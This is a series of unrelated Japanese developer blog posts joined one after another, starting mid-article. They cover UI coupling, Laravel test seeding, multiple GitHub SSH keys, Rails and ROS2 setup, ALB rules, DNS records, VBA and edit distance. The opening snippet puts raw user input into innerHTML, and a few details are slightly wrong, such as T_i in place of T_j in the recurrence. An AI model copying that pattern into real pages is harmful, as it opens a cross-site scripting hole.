3. ロジックとUIが密結合となっている

```html
<div>
    <input id="text" type="text" value="">
    <p id="message">入力値は</p> <!-- ① -->

    <script type="text/javascript">
        function onChange() {
            // ②
            let message = document.getElementById("message");
            let text = document.getElementById("text").value;
            message.innerHTML = '入力値は' + text; // ③
        }
        document.getElementById("text").onchange = onChange;
    </script>
</div>
```

## まとめ

コードをパッと見ても宣言的UIの方がよさそうなのがわかる

## 参考

https://zenn.dev/arei/articles/f59e263aa3edf2
Laravel6 PHPUnitテスト実行時に、前処理でseederを実行する

## 前提 
- Larave6 
- PHP7.4
- データベース作成済み
- マイグレーション作成済み
- シーダー作成済み

## PHPUnitテストの前処理でseederを実行


```
use Illuminate\Support\Facades\Artisan; //Artisan::callを使うためにuse

class HogeTest extends TestCase
{
    private static $isSetUp = false; // setUpを一度だけ実行するためのコード

    protected function setUp():void //TestCaseのsetUpメソッドをオーバーライド
    {
        parent::setUp(); // 親クラスのメソッドを呼び出す

        if(self::$isSetUp === false) {

            Artisan::call('migrate:fresh --seed'); 
            self::$isSetUp = true;  
        }
    }
}
```

`setUp`メソッドを定義したテストクラスの、最初のメソッド実行前に、
`php artisan migrate:fresh --seed`コマンドを実行します。

`parent::setUp()`は親の`setUp`メソッドの機能を使うために呼び出しています。     
  

## テストを実行

```
$ ./vendor/bin/phpunit tests
```

テスト実行するとデータベースにテストデータが挿入されます。

## 補足
`setUpBeforeClass`で`Artisan::call`が使えなかったため、代替案としてこの実装方法にしました。問題なく動作するのであれば今回実装したsetUpメソッドより`setUpBeforeClass`で実装した方が良いかもしれません。

　　
以下はどちらも、テストクラスで最初に実行されるメソッドの直前で一度だけ実行されます

setUpメソッド  

```
private static $isSetUp = false;

protected function setUp():void
{
      parent::setUp();
        
      if(self::$isSetUp === false) {

          self::$isSetUp = true; 
      }
}
```


setUpBeforeClassメソッド

```
public static function setUpBeforeClass(): void
{
        
}
```

## 参考
https://cloudpack.media/40004

https://pgmemo.tokyo/data/archives/1724.html

https://phpunit.readthedocs.io/ja/latest/fixtures.html
【備忘録】WindowsのSourceTreeで複数のGithubアカウントを使い分ける

## 背景

学校用と趣味用のアカウントをSourceTreeで使い分けないといけなくなった際に、ちょっと手こずったのでここに備忘録として残すことにしました。

## 環境について

- Windows 10
- SourceTree 3.4.5

## 手順

1. それぞれのSSHKeyを作成
1. SSHKeyをそれぞれのGithubに登録
1. .ssh/configを作成
1. SourceTreeの設定を変更
1. SourceTreeにSSHKeyを追加
1. クローンする
1. リポジトリの設定を変更

### 1. それぞれのSSHKeyを作成

ここでは

- 学校用 : id_school_rsa
- 趣味用 : id_private_rsa

の2つを作成します。

PowerShellを開いて、以下の手順を踏みます。

```sh
# ディレクトリを変更
cd ~/.ssh

# SSHKeyを作成
#（-C 以降はコメントなのですが、githubのメールアドレスにしている方が多いようでした）
ssh-keygen -t rsa -f id_school_rsa -b 4096 -C "メールアドレス"

# パスフレーズを聞かれるので入力する
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):

# もう一度入力する
Enter same passphrase again:

# 趣味用も同じ手順で作成する
```

ここまでで`.ssh`ディレクトリ内は以下のようになっているはずです。

```
config
id_school_rsa
id_school.pub
id_private_rsa
id_private_rsa.pub
known_hosts
```

### 2. SSHKeyをそれぞれのGithubに登録

先ほど作成した公開鍵をコピーします。

```sh
# 表示
cat id_school.pub

# 表示される文字列をコピー
```

Githubにアクセスして、

1. 右上のアイコン > Settings
1. 左側の 「SSH and GPG Keys」
1. 右上にある緑色の 「New SSH Key」
1. Titleにわかりやすい名前を、Keyに先ほどコピーした公開鍵をペースト
1. 「Add SSH Key」で登録完了です

### 3. .ssh/configを作成

`.ssh/config` を開いて以下を入力して保存します。
私の場合は無かったので新規作成しました。

Host名はそれぞれが異なっていれば何でも大丈夫です。

```ssh
Host github-school
  User git
  Port 22
  HostName github.com
  IdentityFile ~/.ssh/id_school_rsa
  TCPKeepAlive yes
  IdentitiesOnly yes

Host github-private
  User git
  Port 22
  HostName github.com
  IdentityFile ~/.ssh/id_private_rsa
  TCPKeepAlive yes
  IdentitiesOnly yes
```

### 4. SourceTreeの設定を変更

SourceTreeを開いて、上部メニューバーから `ツール > オプション` の順に選択し、オプション画面を開きます。

SSHクライアントの設定の「SSHクライアント」を「OpenSSH」に変更します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/286055/2174b8f7-fc88-2889-0130-4b06ebfbe2f7.png)

### 5. SourceTreeにSSHKeyを追加

上部メニューバーから `ツール > SSHキーを追加` の順に選択します。

すると、SSHキーファイルを選択する画面が開くので、先ほど作成した**秘密鍵 (.pubではない方)**を選択します。

コマンドプロンプトが開いて以下のように聞かれますので、設定したパスフレーズを入力してください。

```
SourceTree is loading your SSH key into the agent for authentication
Please enter your passphrase if prompted to do so

Enter passphrase for C:\Users\arrow\.ssh\id_school_rsa:
```

これをそれぞれ繰り返します。

### 6. クローンする

クローンする際、ソースURLの `git@github.com` の部分を `git@[Host名]` に置き換えます。

以下の場合では趣味用のアカウントを使いたいので `git@github-private` としています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/286055/7e3454d5-c69e-d0ce-8445-e4f9ecd9f9e6.png)

### 7. リポジトリの設定を変更

`設定 > 詳細` を開いて、使いたいアカウントに合ったユーザー情報に変更します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/286055/6b93f56f-9cd8-e820-98f2-307c1693bc5a.png)

これで完了です！

## 参考

- [複数のGithubアカウントをSourceTreeに設定したい[macOS]](https://qiita.com/shiho_hoshino/items/af50acbf4b77a7545708)
- [1台のPCで複数のGithubアカウントを使い分ける](https://qiita.com/takaaki4cards/items/6a8ef36069629257976f)
CentOS7でRuby on Rails 環境構築【さくらのVPS】

CentOS7でRuby on Railsの環境を構築しました、これはその備忘録です。

#環境

・さくらのVPS
・CentOS7

#手順

##Rubyのインストール

rbenvをインストールします

```
# sudo su -
# git clone https://github.com/sstephenson/rbenv.git ~/.rbenv
```

パスを通す処理など.bash_profileに追記します

```
# echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.bash_profile
# echo 'eval "$(rbenv init -)"' >> ~/.bash_profile
# source .bash_profile
```

バージョンが返ってくれば成功

```
# rbenv --version
rbenv 1.1.2-61-g585ed84
```

rbenvのpluginsディレクトリにruby-buildをインストールします

```
# mkdir -p "$(rbenv root)"/plugins
# git clone https://github.com/rbenv/ruby-build.git "$(rbenv root)"/plugins/ruby-build
```

色々必要なソフトのインストール

```
# yum -y install gcc make openssl-devel readline-devel
```

インストールできるRubyの一覧を出力します

```
# rbenv install -l
2.6.8
2.7.4
3.0.2
jruby-9.2.19.0
mruby-3.0.0
rbx-5.0
truffleruby-21.2.0.1
truffleruby+graalvm-21.2.0
```

今回は2.6.8をインストールします

```
# rbenv install 2.6.8
```

デフォルトのバージョンに設定

```
# rbenv global 2.6.8
```

きちんとバージョンが返ってきたら成功です

```
# ruby -v
ruby 2.6.8p205 (2021-07-07 revision 67951) [x86_64-linux]
```

##Ruby on Railsのインストール


```
# gem install rails
```

バージョンが返ってきたら成功です

```
# rails --version
Rails 6.1.4
```

Railsの導入は完了しましたが、このままrails newしてもエラーが出て動かないはずです。

関連のパッケージをインストールしましょう。

##SQLite3のインストール


yumで普通にインストールしようとすると古いものが入ってエラーが出ますので、新しいバージョンのものをインストールします。

2021年8月13日の時点で最新である3.36.0をインストールします。

```
# wget https://www.sqlite.org/2021/sqlite-autoconf-3360000.tar.gz
# tar xvfz sqlite-autoconf-3360000.tar.gz
# cd sqlite-autoconf-3360000
# ./configure --prefix=/usr/local 
# make 
# make install 
# /usr/local/bin/sqlite3 --version 
3.36.0 2021-06-18 18:36:39 5c9a6c06871cb9fe42814af9c039eb6da5427a6ec28f187af7ebfb62eafa66e5
# sudo mv /usr/bin/sqlite3 /usr/bin/sqlite3_old 
# sudo ln -s /usr/local/bin/sqlite3 /usr/bin/sqlite3 
# echo 'export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/lib' >> ~/.bashrc
# source  ~/.bashrc
```

##Node.jsのインストール

これも普通にyumでインストールすると古いものが入ってエラーが出るので、npmを使ってインストールします。

```
# yum install nodejs npm
# npm install -g n
# n stable
# yum remove nodejs npm
# exec $SHELL -l
# node -v
v14.17.5
# npm -v
6.14.4
```

##yarnのインストール

これも必要なのでインストールします。

```
# wget https://dl.yarnpkg.com/rpm/yarn.repo -O /etc/yum.repos.d/yarn.repo
# yum install yarn
```

##ファイアウォールの設定

ポート3000を開けます

```
# firewall-cmd --zone=public --add-port=3000/tcp
# firewall-cmd --zone=public --add-port=3000/tcp --permanent
# firewall-cmd --reload
```

さくらのVPSの場合、パケットフィルタ機能をONにしてると、そっちの設定が必要になると思います。

rails newでプロジェクトを作成して、サーバーを立てます。

```
# rails new blog
# cd blog
# rails s -b 0.0.0.0
```

これでhttp://(VPSのアドレス):3000にアクセスすれば、
yay you’re on railsの画面がでるはずです。

## 参考にさせてもらったサイト
https://weblabo.oscasierra.net/ruby-on-rails-centos7-toutrial/
https://developers-trash.com/node/19
https://www.softel.co.jp/blogs/tech/archives/6490
https://qiita.com/maecha/items/18439866acf9ded9a2de
【Swift】SPAで作られたwebページをWebViewで扱う

#何が問題か？

WebView内のコンテンツがSPA（Single Page Application）で作られていると、ページ遷移しても期待したように`WKWebView`の`delegate`が呼ばれない場合があります。SPAは最初にhtmlを取得したらJavaScriptによって画面の書き換えを行うので、webページの読み込みが初回のみしか発生しないためです。

例えばwebコンテンツがページ遷移するたび、htmlの`title`タグの情報を取得し`navigationItem.title`にセットする場合を考えます。

普通のwebページなら読み込み完了のタイミングで以下のように`title`をセットするので問題ありませんが、SPAだとこの`delegate`は初回のみしか呼ばれません。そのため最初にセットされた`title`が`navigationItem`に残り続け、遷移先の`title`は`navigationItem`に反映されません。

```swift
func webView(_ webView: WKWebView, didFinish navigation: WKNavigation!) {
    guard let title = webView.title else { return }
    navigationItem.title = title
}
```

#どうするか？
今回の例では以下のふたつを組み合わせて対応できます。

* `viewDidLayoutSubviews`内で`url`の変更を監視する
* SwiftからJavaScriptを実行して`title`を取得する

```swift
class ViewController: UIViewController {
    
    var webView: WKWebView!
    private var urlObserver: NSKeyValueObservation?

    // SPAのwebページ遷移で呼ばれる
    override func viewDidLayoutSubviews() {
        urlObserver = webView.observe(\.url, options: .new) { [weak self] _, _ in
            guard let self = self else { return }
            self.setTitle()
        }
    }
    
    private func setTitle() {
        // jsのdocument.titleプロパティを実行
        let script = "document.title"
        webView.evaluateJavaScript(script) { (result, _) in
            self.navigationItem.title = result as? String
        }
    }
}

extension ViewController: WKNavigationDelegate {
    // 初回のWebView読み込み時によばれる
    func webView(_ webView: WKWebView, didFinish navigation: WKNavigation!) {
        setTitle()
    }
}
```

以上のように`title`を取得できますし、同じ要領で`url`も取得可能です。

他の場面においてもSPAで構成されたwebコンテンツで`WKWebView`の`delegate`を使用したい場合は、適宜`url`の監視をうまく使ってやるのが有効かもしれません。


##参考

* [SPAってページ遷移するの？](https://qiita.com/ozaki25/items/41e3af4679c81a204284)
* [[iOS][Swift]JavaScriptと相互通信](https://qiita.com/usayuki/items/6979d0d6f7d8f5b302ad)
* [WKWebView で JS を使用して値を取得する 3 つの方法](https://qiita.com/yuki0n0/items/0e85846e029fb7353224)
Ubuntu 20.04へのROS2とturtlebot3のインストール及び使用方法

#はじめに
色々あってubuntu20.04にしたので、ros2の環境構築のための備忘録


#ROS2(Foxy)一式のインストール

```
sudo apt update && sudo apt install curl gnupg2 lsb-release
sudo curl -sSL https://raw.githubusercontent.com/ros/rosdistro/master/ros.key  -o /usr/share/keyrings/ros-archive-keyring.gpg
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/ros-archive-keyring.gpg] http://packages.ros.org/ros2/ubuntu $(lsb_release -cs) main" | sudo tee /etc/apt/sources.list.d/ros2.list > /dev/null
sudo apt update
sudo apt install ros-foxy-desktop
echo "source /opt/ros/foxy/setup.bash" >> ~/.bashrc
source ~/.bashrc
sudo apt install python3-colcon-common-extensions
sudo apt install python3-argcomplete
```
#ワークスペース作成+動作確認
```
mkdir -p ~/ros2_ws/src
cd ros2_ws/
colcon build
```
下記のように別々のターミナルで実行

```
tuner@tuner-MB-K700:~/ros2_ws$ ros2 run demo_nodes_cpp talker
[INFO] [1628862628.345402415] [talker]: Publishing: 'Hello World: 1'
[INFO] [1628862629.345713385] [talker]: Publishing: 'Hello World: 2'
[INFO] [1628862630.345504745] [talker]: Publishing: 'Hello World: 3'
[INFO] [1628862631.345552208] [talker]: Publishing: 'Hello World: 4'
[INFO] [1628862632.345710889] [talker]: Publishing: 'Hello World: 5'
```
```
tuner@tuner-MB-K700:~/ros2_ws$ ros2 run demo_nodes_py listener
[INFO] [1628862618.637940183] [listener]: I heard: [Hello World: 21]
[INFO] [1628862619.624764459] [listener]: I heard: [Hello World: 22]
[INFO] [1628862620.626850078] [listener]: I heard: [Hello World: 23]
```

#turtlebot3用の環境構築
```
sudo apt install gazebo11 ros-foxy-gazebo-ros-pkgs
sudo apt install ros-foxy-dynamixel-sdk
sudo apt install ros-foxy-cartographer
sudo apt install ros-foxy-cartographer-ros
sudo apt install ros-foxy-navigation2
sudo apt install ros-foxy-nav2-bringup
sudo apt install ros-foxy-turtlebot3-msgs
sudo apt install ros-foxy-turtlebot3

mkdir -p ~/turtlebot3_ws/src
cd ~/turtlebot3_ws/src
git clone -b foxy-devel https://github.com/ROBOTIS-GIT/turtlebot3_simulations.git
cd ~/turtlebot3_ws
colcon build --symlink-install
```
#起動１
```
source install/setup.bash 
export TURTLEBOT3_MODEL=burger
ros2 launch turtlebot3_gazebo turtlebot3_world.launch.py 
```
#起動2（別ターミナルにて）
```
source install/setup.bash 
export TURTLEBOT3_MODEL=burger
ros2 launch turtlebot3_navigation2    navigation2.launch.py   
```
初期状態は下記のように初期位置が不明なため,お馴染みの2D Pose Estimateにてgazeboの位置と同じ場所にrivizで指定すると、、、

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/620517/c6444743-20a7-e6fa-04bc-75941b000955.png)


上部のtabのNavigation2 Goalにて自律移動可能

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/620517/55857e6d-ee6f-7980-0342-064ca3f5a6b0.png)

見た目的な違いといえば
ros1と違いがgazebo上にてlidarの照射範囲が見えるようになった。
　　　　　　　　　　　　　　+
デフォルトとしてslam-gmappingではなくcartographerを使用している。

まだまだ、味見程度なので色々試したい。
記号「█」で「英数字・ひらがな・カタカナ」のドット文字に挑戦

# 「英数字」結果
<p class="codepen" data-height="700" data-default-tab="result" data-slug-hash="LYyaJeB" data-user="kobe2018" style="height: 700px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;">
  <span>See the Pen <a href="https://codepen.io/kobe2018/pen/LYyaJeB">
  </a> by F.M (<a href="https://codepen.io/kobe2018">@kobe2018</a>)
  on <a href="https://codepen.io">CodePen</a>.</span>
</p>
<script async src="https://cpwebassets.codepen.io/assets/embed/ei.js"></script>

# 「英数字」の感想
- 大文字の最小サイズは３×５
- 小文字の最小サイズは３×７
- 「@,M,N,W]がきつい

# 「ひらがな・カタカナ」結果
<p class="codepen" data-height="700" data-default-tab="result" data-slug-hash="VwbREEe" data-user="kobe2018" style="height: 700px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;">
  <span>See the Pen <a href="https://codepen.io/kobe2018/pen/VwbREEe">
  </a> by F.M (<a href="https://codepen.io/kobe2018">@kobe2018</a>)
  on <a href="https://codepen.io">CodePen</a>.</span>
</p>
<script async src="https://cpwebassets.codepen.io/assets/embed/ei.js"></script>

# 「ひらがな・カタカナ」の感想
- カタカナの３×５は作成途中で挫折した。
- ひらがな・カタカナの最小サイズは共に４×５
- 作成時のパターンが見えてきた。
Develop in Swift Fundamentalsについて

#swiftの資格
技術を証明するものを探していたところ、iosアプリ開発の言語であるswiftには
App Development With Swiftというapple主催の民間資格があること知り、取得を予定していました。
qittaでも１記事しか見つからなかったのでかなりマイナーな資格なのでしょう。

###App Development With Swift　概要

試験名：App Development with Swift
科目名：App Development with Swift Level.1
試験の言語：英語
所要時間：50分
受験料：一般￥10,780（税込）／学割￥8,580（税込）
試験実施方式：CBT試験
主催者：apple
開催者：オデッセイテスティングセンター

>[試験案内公式](https://www.odyssey-com.co.jp/app-dev-with-swift/)

所要時間50分で10780円の民間試験って高く感じます。
去年受けた気象予報士試験は試験時間6時間くらいで11140円の国家資格でした。（まあ落ちてますが😇）



#App Development With Swiftの終了
せっかく1000Pの英語の教材「App Development With Swift Level.1」を読み込んだのに
この資格は2021年9月15日で終了し、「Develop in Swift Fundamentals」にアップデートされる様です。

###Develop in Swift Fundamentals

>[App Develop with Swift Product Update 2021(YouTube動画、apple公式ではありません)](https://www.youtube.com/watch?v=rRZ1kBAR0C4)


>![A342874D-6A33-41D1-937F-BCF5B684A637.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1261100/8cd0bfce-714d-d440-b4bf-a8333237067e.jpeg)

>[Apple Books](https://books.apple.com/us/book/develop-in-swift-fundamentals/id1511184145)


試験案内はまだありませんが、公式教材がすでにリリースされております。
こちらも読んでみて、App Development With Swiftとの違いを確認してみたいと思います。

###難易度に違いはあるのか？
>![9D3EFD8C-E230-441E-9A6A-2C612A4C4539.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1261100/76ae0163-24c8-94f4-52f9-ff5b69a66c2d.jpeg)

先ほど記載したurlの動画からのキャプチャですが、Develop in Swift Fundamentalsはhigher education（=高等教育）、つまり大卒レベル程度ということでApp Development With Swiftより１ランク上の位置付けの様です。

結局どちらを受けるか悩みどころです。
あまりにも情報が少なすぎる気がします。

#追記（受験しました）
App Development With Swift(level1)を試験開催最終日の2021年9月15日に試しに受験してきました。
結果は残念ながら633点(Required Score:700)でFAILでした。

この科目は実施終了してしまったので別な科目でリベンジしたいと思います。
基本情報技術者試験勉強0713

本日の積み上げ結果
・基本情報処理技術者試験勉強
　平成31年春過去問
　令和元年秋過去問
　間違えた問題の復習

バッグドア　直訳すれば「裏口」若しくは「勝手口」となるが、防犯・犯罪学上等では「正規の手続きを踏まずに内部に入る事が可能な侵入口」のことをいう。本来はIDやパスワードを使って通信を制限したり、使用権を確認するコンピュータの機能を無許可で利用するために、コンピュータ内に（他人に知られる事無く）設けられた通信接続の機能を指す。
ALBのリダイレクトが飛ばないとき

## これは何
ALBのリダイレクトが、意図した通りにリダイレクト先に飛ばないときの解決のメモです。

## 原因

リスナールールの順位を意識していなかったから。（単純）

![スクリーンショット 2021-08-13 23.14.31.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1740345/b3e8605b-fb95-4640-508c-1858c6476733.png)


ルールは、ただの並び順だと思ってました…
ちゃんとドキュメントにも載ってますね。


![スクリーンショット 2021-08-13 23.14.01.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1740345/949ea83f-b4dc-d44b-880a-aeaf5545ef5f.png)


これが分からずに、結構時間を食ってしまいました…

どういうことかというと、私の場合、

一番上の順位に、

```
IF
ホストがexample.com

THEN
リダイレクト先
ターゲットグループ
```

というルールを入れていました。

なので、その下順位ルールで、

```
IF
ホストがexample.com
パスが/a*

THEN
リダイレクト先
a-example.com
```

とか入れても、最上位ルールが全てをかっさらっていくので、設定したルールが動作しなかったということです。

この最上位ルールというものを一番下順位にしたところ、作成した他リスナーが息を吹き返しました。

## 他
これとは別に、リスナールールのIF条件でもハマりました。

```
IF
ホストがexample.com
パスが/a*

THEN
リダイレクト先
a-example.com
```

という①ルールがあるとします。
一方で、その下順位に、

```
IF
ホストがexample.com
パスが/ab*

THEN
リダイレクト先
b-example.com
```

というルール②があった場合、①ルールの、パスが/a*が優先され、a-example.comに飛んでしまいます。

ルール②の、パスが/ab*の部分が/aの時点でルール①の/a*に引っかかってしまっているからですね。

ルール②＞ルール①の並びにしたところ、意図する動作になりました。


```
参考
https://docs.aws.amazon.com/ja_jp/elasticloadbalancing/latest/application/listener-update-rules.html
```
VSCodeでGoを書くときは作業中のディレクトリを開かないとエラーが発生する

Goでの開発中、以下のようなエラーが発生した

```
gopls requires a module at the root of your workspace.
You can work with multiple modules by opening each one as a workspace folder.
Improvements to this workflow will be coming soon, and you can learn more here:
https://github.com/golang/tools/blob/master/gopls/doc/workspace.md.
```

![スクリーンショット 2021-08-13 23.16.44.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/349049/c7894bc3-02ef-ec92-e0db-1b20276e8e5c.png)

ワークスペース上にモジュールが必要？最初はVSCodeのワークスペースのことかと思っていたが、原因は別にあった

## 原因

- 作業スペース以外の領域をVSCodeで開いていた
- そのため、VSCodeで開いている領域にある複数のモジュールを検知してしまい、正確なローディングができなくなっていた

## 解決法

- 作業中のディレクトリ（今回はtodo_app）をVSCodeで直接開く

以上のことでエラーは出なくなった。

## その他発生したエラー

上記のエラー以外にも、ビルドタグが異なる領域にある場合に検知ができないエラーも表示された

```
undeclared name: testUtil
```
【HTML/CSS】右側に余白ができている

#◇本日の困ったこと#

*・「発覚の経緯」と「エラー内容」*
HTML/CSSにて実装後、ローカルブラウザにて確認すると、右側に余白ができてる、、、、

#◇解決#
bodyの中身をすべてwrapで囲み、CSSにてwrapにoverflow: hidden;を記述でかいけつ！！

```perl:html
<div class="wrap">
  〜元々の記述してあるのを囲むだけ〜
<!-- /.wrap --></div>
```

```perl:css
.wrap {
	overflow: hidden;
}
```

#参考にしたもの#
とても助かりました！

http://bashalog.c-brains.jp/15/06/26-170500.php
HTTPSレコードとCNAMEと大失敗

## HTTPSレコードとは

- HTTPSを使うこと
- HTTPのバージョン
- WebサーバのIPアドレス
- Client Helloの値?

なんかを書いておける最近できたばかりの便利なDNSのレコードです。

今のところブラウザはiPhoneのSafariが対応していているようです。

## とりあえず、設定してみる

KnotDNSが3.1.0でHTTPSレコードに対応したので、さっそく書いてみました。

もともと、

```DNS
www.example.org.   IN   CNAME  3rdparty.example.jp.
```

となっていたので、

```DNS
www.example.org.   IN   CNAME  3rdparty.example.jp.
www.example.org    IN   HTTPS  1  .
```

と設定して満足しました。

## しばらくして

あれれ、サイトが見えないとの連絡が・・・。

あわてて、ログを確認すると、

```log
info: [example.org.] zone will be loaded
error: [example.org.] check, node www.example.org., more records exist at CNAME
error: [example.org.] zone loader, failed to load zone, file '/var/lib/knot/zones/example.org.zone' (semantic check)
error: [example.org.] failed to parse zone file (failed)
error: [example.org.] zone event 'load' failed (failed)
```

おっと～！ なんかエラー出てますやん。

あいや～。まさかの、CNAMEの制約。
**CNAMEは他のレコードタイプと同居できないのです。**

こんな基本的なところを見落とすとは。
新しいHTTPSレコードに浮かれすぎてたのと、一緒に設定した他のサイトはAレコードで登録されてたので、うっかり気付かずにやっちゃいました。

Zone Apexには使えないCNAMEと違って、HTTPSレコードは

```
example.org    IN   SOA    ....
example.org    IN   NS     ns1.example.org.
example.org    IN   HTTPS  1  3rdparty.example.jp.
```

というように、他のレコードと共存しても大丈夫ですよ、
ということなのですが、CNAMEとだけは共存できないのですね～。

あたりまえですが、はまりました。

## 結論

CNAMEがあると、HTTPSレコードは書けません。
テスト43

:grinning:

```vb

Private Sub Workbook_Open()

Dim Users As Variant

With ThisWorkbook
    
     If .MultiUserEditing = True Then
     
        Users = .UserStatus
        
        If UBound(Users) = 1 Then
            
             Application.DisplayAlerts = False
             .ExclusiveAccess
             Call .sh_Check
             .SaveAs Filename:=.FullName
             Application.DisplayAlerts = True
            
        Else
           
            MsgBox "あなた以外の誰かがブックを開いています"
            End
            
        End If
        
    Else
        
        Call .sh_Check
        
    End If

End With


End Sub

'-----------------------------------------------

Sub sh_Check()

Dim sh As Worksheet

For Each sh In ThisWorkbook.Worksheets

    If InStr(sh.Name, "開始") = 0 Then
    
        If IsDate(sh.Cells(1, 2).Value) = True _
        And sh.Cells(1, 2).Value <> Date Then
        
            Application.DisplayAlerts = False
            sh.Delete
            Application.DisplayAlerts = True
            
        End If
    
    End If

Next sh

End Sub
単純なミスで[このワークステーションとプライマリドメインとの信頼関係に失敗しました。]でサインインできないというやらかしをした話

# 事象

HYPER-V上でドメイン環境の検証環境をあらたに構築しメンバーサーバーにサインイン使用等すると下記のエラー

[このワークステーションとプライマリドメインとの信頼関係に失敗しました。]![P1_002.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1833876/cf59cbf1-dee6-82eb-e14c-4a5b38cfbe3d.png)


[サーバーのセキュリティ データベースにこのワークステーションの信頼関係に対するコンピュータアカウントがありません。]
![P1_001.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1833876/7cf0840f-42f6-ed39-24aa-424b44d8ee87.png)


でネットで調べると一度ドメインから離脱して再度ドメインに参加せよとのこと。

いったんは離脱、再参加でサインインできるものの、再度サインアウトしたり再起動したりするとまたエラーがでてサインインできない状況になってしまうという意味不明な状況。

ほかにはセキュアチャネルに言及のある情報がありましたが、まったくつながらないわけではないから破損ではないのではと推測、お手上げで再構築が手っ取り早いか思ったのですが・・・

# 解決

何気なしに DNS の設定を確認してみたら

**コンピューター名いっしょやん！**
![AD1_001.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1833876/df60ea1e-890c-c85e-6b01-86ee18552c98.png)


マスターとしているファイルからのインポートで同時平行で作業をしていたので
その過程でこんがらがって同一の名前つけてしまったようです。

その後

*  コンピューター名が同一のサーバー双方をドメインから離脱
*   Active Directory ユーザーとコンピューターでコンピュータ オブジェクト削除
*   DNS のレコード削除

を実施し支障なくサインインできるようになりました。

落ち着いて作業しないとだめですなというオチでした。
Excelの書式文字列(文字列、数値)

文字列の書式文字列は"@"ですが、数値の書式文字列は"0_ "(ゼロ、アンダーバー、半角スペース)です。Excelで書式を数値にしてからユーザー定義を選択すると、確認することができます。
Apache POIで書式文字列を指定する際にも使用可能です。半角スペースを入れないとExcelファイルが壊れます。

~~追記：コメントがついていますが、SPAMなので無視して下さい。通報＆ブロックしましたが削除できない。~~
【Ruby】ルーティングのネストとparamsについて

作成中のアプリケーションにて苦戦した、ルーティングのネストをした際のparamsの取得についてアウトプットを兼ねて書いていきます。

機能としては、ある店舗に対するコメントができる、というよくあるクチコミサイトのような感じです。
コメントは店舗詳細ページ内で投稿ができ、投稿が成功すると詳細ページにリダイレクトされます。

ルーティングは、

```routes.rb
  resources :stores do
    resources :comments, only: :create
  end
```

StoreモデルとCommentモデルが親子関係になっているため上記記述になっています。



次にstoresコントローラー内ですが、

```stores_controller.rb
 def show
    @comment = Comment.new
    @store = Store.find(params[:id])
    @comments = @store.comments.includes(:user)
 end
```
2行目でCommentモデルの空のインスタンスを生成しました。
3行目ではStoreモデルから店舗のidを取得する記述をしています。

4行目では、店舗詳細ページ（@storeが含んだid）に紐づく投稿されたコメント(comments)とそれを投稿したユーザー(:uesr)全ての情報を取得しています。
N＋1問題を回避するため、allではなくincrudesを使っています。



次はcommentsコントローラー内です。ここが詰まったところでした。

```comments_controller.rb
def create
    @store = Store.find(params[:store_id])      　　　　　#店舗idを取得しています
    @comment = Comment.new(comment_params)     　　　　　　　#空のインスタンスにcomment_paramsメソッドで取得したparamsの情報を入れています
    if @comment.save
      redirect_to store_path(@store)　　　　　　　　　　　　　　　　　　　　　　　　　　　　 #保存ができた場合、詳細ページにリダイレクト
    else
      @comments = @store.comments.includes(:user)  #保存ができなかった場合、詳細ページがレンダリングされます。
      render "stores#show"
    end
end

private
def comment_params
    params.require(:comment).permit(:content).merge(user_id: current_user.id, store_id: params[:store_id])　
end

```
createアクション内の上から2行目と、下から4行目のprivateメソッド内のcomment_paramsメソッドでparams[:store_id]としています。
idを取ってくるだけならparams[:id]で良さそうです…がこれだと取得できません。

rails routesコマンドをすると理由がわかりました。

```
store_comments POST   /stores/:store_id/comments(.:format)    comments#create
```
:idではなく:store_idとなっています。ここが私的に大きなポイントでした。



結論：rails routesはすごい
編集距離（レーベンシュタイン距離）と動的計画法について

## 文字列の編集距離
編集距離とは，以下の三種類の操作によって，一つの文字列を別の文字列に変形するのに必要な最小回数です．

* **挿入** ：文字列に一つの文字列を挿入する．
* **削除** : 文字列から一つの文字を削除する．
* **置換** : 文字列の中の一文字を別な文字に置き換える．

例えば，文字列$s_1$=”abcd”を文字列$s_2$=”acef”に変形するためには，$s_1$のbを**削除**し，$s_1$のdをeへ**置換**，$s_1$の末尾に文字fを**挿入**すれば，編集距離３で$s_1$を$s_2$に変形することができます．

次に，動的計画法を用いて編集距離を求めます．
$dp[i][j] :=$ $S$の$i$文字目までの文字列を$T$ の$j$文字目までの文字列へ変換する編集距離
と定義します．すると，

```math
dp[i][j] = min\{dp[i-1][j]+1,\; dp[i][j-1]+1,\;dp[i-1][j-1]+C\}\\
C=1 \quad (S_i \neq T_i )\\
C=0 \quad (S_i = T_i )
```
のように$dp[i][j]$を求めることが出来ます．文字列$S_1S_2...S_i$を文字列$T_1T_2...T_j$へ変換する操作の候補として以下の３つが挙げられます．上の数式と対応させると以下の通りです．

* $dp[i-1][j]+1 \to\;$文字列$S_1S_2 ...S_{i-1}$を文字列$T_1 T_2...T_j$に変換した後に$S_i$を削除する
* $dp[i][j-1]+1 \to\;$文字列$S_1S_2 ...S_{i}$を文字列$T_1 T_2...T_{j-1}$に変換した後に$T_j$を挿入する
* $dp[i-1][j-1]+C \to\;$文字列$S_1S_2 ...S_{i-1}$を文字列$T_1 T_2...T_{j-1}$に変換した後,$S_i=T_j$なら変換終了，$S_i \neq T_j$なら$S_i$を$T_j $に置換する．


